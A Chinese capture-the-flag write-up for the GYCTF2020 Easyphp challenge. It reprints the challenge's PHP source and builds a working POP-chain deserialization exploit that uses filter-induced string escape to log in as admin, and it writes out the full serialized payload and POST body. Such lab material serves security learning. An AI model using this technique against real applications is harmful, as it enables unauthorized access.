代码审计[二] [GYCTF2020]Easyphp

news/2024/10/13 21:14:00

代码审计

做的好难受的一道反序列化

[GYCTF2020]Easyphp

参考[GYCTF2020]Easyphp-CSDN博客

查看整个网站,尝试弱口令登录,不行。猜网页,register、upload都试了一下,发现www.zip可以下载网页源码。

login.php

<?php
require_once('lib.php');
?>
<?php 
$user=new user();
if(isset($_POST['username'])){if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){die("<br>Damn you, hacker!");}if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){die("Damn you, hacker!");}$user->login();
}
?>

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){require_once("flag.php");echo $flag;
}?>

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}
class User
{public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}}
}public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age);return "0-0";}
}
class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);}
}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);$upDate=new dbCtrl();}public function __destruct(){echo $this->sql;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}
}

index.php

<?php
error_reporting(0);
session_start();
function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}
class User
{public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}}
}public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age);return "0-0";}
}
class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);}
}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);$upDate=new dbCtrl();}public function __destruct(){echo $this->sql;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}
}

看着wp都卡半天,太难看了。

前置知识:

image-20241009164146518

1. SQL 查询准备

$sql = 'select id,password from user where username=?';
  • 这行代码定义了一个 SQL 查询,用于从数据库中选择用户的 idpassword,条件是 username 等于某个值。
  • ? 是一个占位符,用于在后续步骤中安全地插入用户输入,防止 SQL 注入攻击。

2. 预编译 SQL 查询

$result = $this->mysqli->prepare($sql);
  • 使用 $this->mysqli->prepare($sql) 方法预编译 SQL 查询,这是一种防止 SQL 注入的安全机制。这里假设 $this->mysqli 是当前类中的一个已初始化的 MySQLi 数据库连接实例。
  • 预编译查询会为之后的参数绑定做准备。

3. 绑定参数

$result->bind_param('s', $this->name);
  • 通过 bind_param('s', $this->name) 方法,将用户名绑定到 SQL 查询中的占位符 ?
  • 's' 表示绑定的参数是一个字符串类型。
  • $this->name 是当前对象的属性,假设是用户输入的用户名。

4. 执行查询

$result->execute();
  • 调用 execute() 方法来执行预编译的查询。

5. 绑定查询结果

$result->bind_result($idResult, $passwordResult);
  • bind_result() 方法用于将查询返回的结果绑定到两个变量 $idResult$passwordResult
    • $idResult:用户的 ID。
    • $passwordResult:用户的密码(通常是散列值)。

6. 获取查询结果

$result->fetch();
  • 调用 fetch() 方法,执行查询并将结果赋值到前面绑定的变量中 $idResult$passwordResult
  • 这一步从数据库中提取一行数据。

解题

然后就是按着wp答案来解释答案的过程:

首先说是将sql语句构造如下

select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

这样子做的原因是为了给这条代码铺路$result->bind_result($idResult, $passwordResult);

他能将返回的内容绑定给$idResult, $passwordResult

然后看回来sql语句,那个问号是个占位符。$result->bind_param('s', $this->name);这条将$name绑定给占位符,而在后续的pop链构造里,$name会被赋值为admin。这样子整条sql操作的流程就是

select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username='admin'

返回来的两个参数分别赋值给$idResult、$passwordResult($idResult=1,$passwordResult="c4ca4238a0b923820dcc509a6f75849b" 这串md5是1的md5值)

来绕过以下代码,此时User类中的$this->id为真,$_SESSION['login']=1。(后续好像是随便输东西就能进?)此时只要输入用户名admin,密码1即可登录进去得到flag(update.php的逻辑是这样的)

        if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}

那现在开始就是找入口,传入数据有两个地方,一个是login.php一个是update.php。

但是通过分析login.php中可以发现他先new了一个user类并且触发了login方法,并且传入dbCtrl类中的login方法(做数据库查询),其中这个sql语句可以看出来是定死的,数据不可控,是条死路。

接着就是看到update.php可以发现他同样是new了一个user类,但是触发的是其中的update方法。

前面几步都是将$age和$nickname实例化,然后就进入new UpdateHelper环节,开始pop触发

    public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}

整个pop流程是

UpdateHelper::__desturce(sql = new User()) => User::__toString(nickname = new Info()) => Info::__call(CtrlCase = new dbCtrl()) => login()

链子的末端一定要是dbCtrl() => login()同时login()的参数需要可控,反着来看这串pop链

需要可控的变量是$argument

 public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);}

而他的参是由user类的$this->age传来的,需要注入的地方就放在了这里。可以控制user类的$age来执行注入

    public function __toString(){$this->nickname->update($this->age);return "0-0";}

开始构造pop链(抄来的T_T)

<?php
class User
{public $age = null;public $nickname = null;public function __construct(){$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';$this->nickname = new Info();}
}
class Info
{public $CtrlCase;public function __construct(){$this->CtrlCase = new dbCtrl();}
}
class UpdateHelper
{public $sql;public function __construct(){$this->sql = new User();}
}
class dbCtrl
{public $name = "admin";public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
//O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

看回触发反序列化的点

  public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}

上面先是序列化了一个Info类,并且让他经过safe函数过滤危险字符,再拿去反序列化。我们可以通过特定字符实现字符自增,来挤出需要的恶意代码。同时我们要将pop的链子构造成Info类中元素的样子

先拿个简单的来构造下

<?php
class Info{public $age='1';public $nickname='test';public $CtrlCase;
}
$o = new Info();
echo serialize($o);
//O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:4:"test";s:8:"CtrlCase";N;}

通过控制截断

";s:8:"CtrlCase";N;} + payload,最终输出:

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}

可以看到我们需要逃逸263个字符,而union->hacker会自增1个字符,263个union就能成功挤出恶意payload。263×union+payload=1578个字符

最终形成如下

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

update.php页面传入的payload

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/71212.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

2024-2025第一学年 20241410苏尚君《计算机基础与程序设计》第三周学习总结

这个作业属于哪个课程 (2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 (2024-2025-1计算机基础与程序设计第三周作业这个作业的目标 门电路,组合电路,逻辑电路,冯诺依曼结构作业正文教材学习内容总结 一、门 定义: “门”通常指的是逻辑门(Logic Gates),这是构…

Docker-nginx数据卷挂载

数据卷(volume)是一个虚拟目录,是容器内目录与宿主机目录之间映射的桥梁。 以Nginx为例,我们知道Nginx中有两个关键的目录:html:放置一些静态资源 conf:放置配置文件 如果我们要让Nginx代理我们的静态资源,最好是放到html目录;如果我们要修改Nginx的配置,最好是找到c…

齐次方程组(超定方程组)的最小二乘解,及利用其拟合空间平面

一、基础理论齐次方程组形如:。在一些优化,拟合等问题中经常出现,我们常考虑方程多于未知数元数的情况------超定方程组。 首先对于平凡解x=0我们一般不感兴趣,一般我们会寻求方程组的非零解。 如果x是方程组的一个解,那么对于,也是齐次方程组的解,一个合理的假设是只求满…

2024-2025 20241313刘鸣宇《计算机基础与程序设计》第三周学习总结

1.阅读《C语言程序设计》,对有疑问的地方寻找AI进行解答 2. 3.《计算机科学概论》学习总结 (1)第二章 学习了不同进制(二进制,十进制,八进制,十六进制)之间的转换 学习了其他技术系统中的运算规则 (2)第三章 1.信息与数据的区别:信息是数据的一种 2.为何进行数据压缩…

MIPI/LVDS/PCIE/HDMI 设计规范

参考链接: 1、MIPI/LVDS/PCIE/HDMI 2、接口简介(HDMI 、eDP/DP、LVDS、VGA、YPbPr、DVI、MHL、MIPI-DSI、VbyOneHS) 3、干货 | 带你了解MIPI,LVDS,RGB,HDMI视频高速接口

imgbb

<script async src="https://imgbb.com/upload.js"></script>关于 ZH (CN)上传 登录 注册账户PRIVACY NOTICELast updated January 22, 2022 Thank you for choosing to be part of our community at Imgbb ("we", "us" or "ou…

MySQL(压缩包)配置过程

1.下载MySQL安装包MySQL :: Download MySQL Community Server 2.将下载完成的压缩包解压到某一目录,如:C:\MySQL 3.在上述目录下新建my.ini文件,并在文件中输入以下内容:[mysqld] port=3306 basedir=C:\MySQL datadir=C:\MySQL\data max_connections=200 max_connect_error…